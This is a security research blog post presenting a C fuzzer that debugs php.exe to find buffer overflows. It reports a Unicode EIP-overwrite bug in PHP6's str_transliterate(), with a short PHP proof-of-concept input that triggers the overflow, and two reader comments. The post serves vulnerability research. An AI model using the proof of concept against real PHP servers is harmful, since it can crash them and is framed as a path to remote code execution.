Fuzzing PHP : PHP6 str_transliterate() (Unicode) Buffer Overflow vulnerability

Hello All =)

A long time ago, I released  a paper about PHP fuzzing. But my fuzzer was a bit ill-coded and unstable.  You can find here my article : Fuzzing PHP

Today I’m presenting you a new approach of PHP Fuzzing, and I offer you my new fuzzer. The purpose of this fuzzer is to find buffer overflow vulnerabilities in PHP functions. Taking in account that when a buffer overflow occurs, an exception “Access Violation” is raised because of EIP equal to 0×41414141 for example, I had the idea to debug php.exe in order to catch exceptions. And then, if the exception is an “Access violation” I can say I found a vulnerability.

So first I get a list of defined functions of PHP with get_defined_functions().

Then I parse this list and I fuzz each function :

VOID FuzzFunction(PUCHAR szFunction, UINT nbArg)
{
    EXCEPTION_RECORD ExceptionInfo = {0x0};
 
    FILE *hLog = NULL;
 
    PUCHAR szReq = NULL;;
    UCHAR szBof[BOF_SIZE+1];
 
    size_t i;
 
    memset(szBof, 0x41, BOF_SIZE);
    szReq = (PUCHAR)calloc((nbArg+1)*BOF_SIZE, sizeof(UCHAR));
 
    sprintf(szReq, "php -r %s('%s'", szFunction, szBof);
 
    for(i = 1; i < nbArg; i++)
    {
          strcat(szReq, ",'");
          strcat(szReq, szBof);
          strcat(szReq, "'");
    }
    strcat(szReq, ");");
 
    /* Check for a bug */
 
    if(Test(szReq, &ExceptionInfo))
    {
         printf("[!] Bug (code : 0x%x) at 0x%x with %s", ExceptionInfo.ExceptionCode, ExceptionInfo.ExceptionAddress, szFunction);
 
         hLog = fopen("Log.txt", "a+");
         if(hLog != NULL)
                 fprintf(hLog, "[!] Bug (code : 0x%x) at 0x%x with %s", ExceptionInfo.ExceptionCode, ExceptionInfo.ExceptionAddress, szFunction);
 
         fclose(hLog);
         return;
    }
    else if(nbArg < NB_ARG_LIMIT)
         FuzzFunction(szFunction, nbArg+1);
 
   return;
}

Here I’m using recursion to test with one then two, three, four, … arguments. Each time I call Test() function which will check for an exception :

BYTE Test(PUCHAR szReq, PEXCEPTION_RECORD pExceptionInfo)
{
    DWORD BUG = 0x0;
    STARTUPINFO si = {0x0};
    PROCESS_INFORMATION pi = {0x0};
    DEBUG_EVENT DebugEvent;
 
    EXCEPTION_DEBUG_INFO ExceptDbgInfo;
    EXCEPTION_RECORD ExceptRecord;
    PEXCEPTION_RECORD pRetExceptRecord = NULL;
 
    //printf("Starting Process...");
 
    if(!CreateProcess("php.exe", szReq, NULL, NULL, FALSE, DEBUG_ONLY_THIS_PROCESS|DETACHED_PROCESS, NULL, NULL, &si, π))
    {
        printf("FAILED to execute php.exe : 0x%x\n\n", GetLastError());
        return 0x0;
    }
 
    //printf("OK");
 
    DebugActiveProcess(pi.dwProcessId);
 
    //printf("\nDebugging Process (ID : 0x%x)...\n\n", pi.dwProcessId);
 
    while(1)
    {
 
       WaitForDebugEvent(&DebugEvent, INFINITE);
       if(DebugEvent.dwDebugEventCode ==  EXCEPTION_DEBUG_EVENT)
       {
 
             ExceptDbgInfo = DebugEvent.u.Exception;
             ExceptRecord = ExceptDbgInfo.ExceptionRecord;
 
             if(ExceptRecord.ExceptionCode != 0x80000003)
             {
                    pExceptionInfo->ExceptionAddress = ExceptRecord.ExceptionAddress;
                    pExceptionInfo->ExceptionCode = ExceptRecord.ExceptionCode;
 
                    BUG = 0x1;
                    break;
             }
       }
       else if(DebugEvent.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT)
       {
                  // printf("\n\nProcess exited %ld\n\n", GetLastError());
                  break;
       }
       ContinueDebugEvent(DebugEvent.dwProcessId, DebugEvent.dwThreadId, DBG_CONTINUE);
   }
 
    DebugActiveProcessStop(pi.dwProcessId);
    TerminateProcess(pi.hProcess, 0x0);
 
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return BUG;
 
}

Well you clearly see here I’m debugging php.exe. And if an exception is raised I caught it and return 1 (=bug).

I tested it on PHP 6, I know it is still in developing, but we already know a lot of bugs concerning PHP 5. A screen shot of the result :

So the vulnerable functions are com_print_typeinfo() (a bug already found in PHP5) and, what is new, str_transliterate().

And if we test we see we can overwrite EIP with a unicode string (EIP = 0×00410041). So it is possible to exploit this vulnerability to execute malicious code (see my previous article : EIP = 0×00410041 ?? Exploiting Unicode Buffer Overflows) on a server.

I didn’t manage to build a working exploit because lots of conditions make the exploitation very hard (at least for me).

So I just give you a proof of concept :

<?php
 
/*	str_transliterate() vulnerability found with PHPFuzz :
	http://lilxam.tuxfamily.org/blog/?p=302
	Can be exploited to execute malicious code on a server. I think it is 
	possible to exploit this vulnerability with Unicode Buffer
	Overflow method (See http://lilxam.tuxfamily.org/blog/?p=259
	for more informations about this technique).
	But I didn't manage to do this =(.
	If somebody successfuly builds a working exploit I would be very
	interested !
	Mail me at lilxam at gmail dot com
 
	Proof of concept :
*/
 
 
$buf = str_repeat("A", 256);
$eip = "\xH\xH"; // Will be unicode converted
$more = str_repeat("I", 528);
 
echo str_transliterate("Hello", $buf.$eip.$more, "Cyrillic");
 
?>

Well you can download my fuzzer here : PHPFuzz

    • neila
    • March 3rd, 2010

    Bonjour,
    j’ai un projet sur les buffers overflows et maintenant je dois developper un fuzzer pour un programme ecrit en c.
    je sais pas comment faire et comment en commencer.
    je sollicite votre aide pour un premier pas et merci infiniment
    cordialement

    • lilxam
    • March 5th, 2010

    Bonjour,
    si tu veux envoies moi un mail et explique moi en détail ton projet et je t’aiderai à commencer.
    Mon adresse : lilxam@gmail.com.
    Cordialement,
    Lilxam.

  1. No trackbacks yet.

Comment are closed.